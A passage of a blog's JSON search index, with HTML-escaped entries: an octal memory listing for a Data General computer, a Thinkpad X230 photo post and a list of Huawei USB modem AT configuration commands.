style=\"display:flex;\"\u003e\u003cspan\u003e000345 062026 61026\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000346 063526 20324\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000347 000346 62026\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000350 060726 20325\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000351 113415 63126\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000352 063077 63526\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000353 104010 352\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000354 137415 60726\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000355 063077 113415\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000356 000340 63077\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357 007000 104010\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000360 006000 137415\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000361 000077 63077\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000362 000777 340\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000363 000000 7000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000364 113115 6000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000365 010477 77\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000366 010423 777\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000367 102400 0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!400/000400 155555 0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000401 155555 0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000402 155555 0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000403 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!4a 000004A 100353 100330\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!0a 000000A 056000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!400/000400 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000401 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000402 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000403 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000404 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e0?0405 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!00406 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000407 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!00410 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000411 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!00412 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!0a 000000A 056000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!1a 000001A 006000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!400/000400 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!0a 000000A 056000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!1a 000001A 006002\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!344/000344 020363 20367\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e?\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!4a 000004A 100357 100330\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!0a 000000A 016000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!1a 000001A 006643\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!400/000400 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000401 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000402 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000403 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000404 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000405 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000406 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000407 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000410 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000411 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000412 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000413 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000414 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000415 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000416 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000417 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000420 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000421 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000422 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000423 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000424 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000425 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000426 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000427 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000430 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000362\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!367/000367 000000 55\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!4a 000004A 100362 100330\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000362\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!367/000367 000055 1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!4a 000004A 100362 100330\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!0a 000000A 016000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000001A 006621\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!400/000400 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000401 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000402 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000403 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000404 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000405 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000406 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000407 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000410 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000411 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000412 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000413 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000414 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000415 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000416 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000417 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000420 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000421 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000422 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000423 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000424 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000425 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000426 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000427 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000430 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000431 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000432 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000433 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!400\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!400/000400 155555 0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000401 155555 0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000402 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!4a 000004A 100357 100330\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!400/000400 155555 0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!367/000367 000001 2\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!330\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!4a 000004A 100357 100330\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!0a 000000A 056000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000001A 006000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000002A 000077\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!400/000400 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!400/000400 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!400/000400 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!400/000400 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!440\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!400/000400 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!400/000400 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!1a 000001A 006627\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!0a 000000A 016000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!0a 000000A 016000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000001A 006631\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000002A 000077\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!400/000400 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!400/000400 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!400/000400 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!400/000400 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!400/000400 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!400/000400 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!400\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!400p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!400/000400 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!400/000400 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!400/000400 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!400/000400 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000362\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!400/000400 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!467\\_\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!367/000367 000002 3\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!4a 000004A 100362 100330\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000357\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!400/000400 155555\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!ü\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Data General"},{"content":"\n","permalink":"https://www.deepreflect.net/2013/12/14/new-laptop-thinkpad-x230/","summary":"\u003cp\u003e\u003ca href=\"https://www.flickr.com/photos/stars6/11324783446\" title=\"New Laptop - Thinkpad X230 by Leonardo Rizzi, on Flickr\"\u003e\u003cimg alt=\"New Laptop - Thinkpad X230\" loading=\"lazy\" src=\"https://farm3.staticflickr.com/2871/11324783446_b46c89be24_n.jpg\"\u003e\u003c/a\u003e\u003ca href=\"https://www.flickr.com/photos/stars6/11324777016\" title=\"L1020896 by Leonardo Rizzi, on Flickr\"\u003e\u003cimg alt=\"L1020896\" loading=\"lazy\" src=\"https://farm4.staticflickr.com/3693/11324777016_53ed45d40c_n.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"New Laptop - Thinkpad X230"},{"content":"AT^U2DIAG=1 Modem and CD-Rom Mode AT^U2DIAG=255 Modem+CD-Rom+Card-Reader Modem+ Factory Defaults Setting AT^U2DIAG=256 Modem+Card-Reader Mode AT^U2DIAG=257 Disable Application Port AT^U2DIAG=276 Reset to factory Defaults AT^CVOICE=? Gives Status of your modems voice.. AT^CVOICE=0 Enable Voice AT^CVOICE=1 Disable Voice ATI Gives Manufacture Information of Modem AT+CGMR Gives firmware version of Modem AT+CGSN Gives IMEI of Modem AT+CIMI Gives IMSI of Modem ","permalink":"https://www.deepreflect.net/2013/06/18/hauwei-dongle-at-commad/","summary":"\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAT^U2DIAG=1 Modem and CD-Rom Mode\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAT^U2DIAG=255 Modem+CD-Rom+Card-Reader Modem+ Factory Defaults Setting\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAT^U2DIAG=256 Modem+Card-Reader Mode\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAT^U2DIAG=257 Disable Application Port\n\u003c/span\u003e\u003c/span\u003e\u003cspan 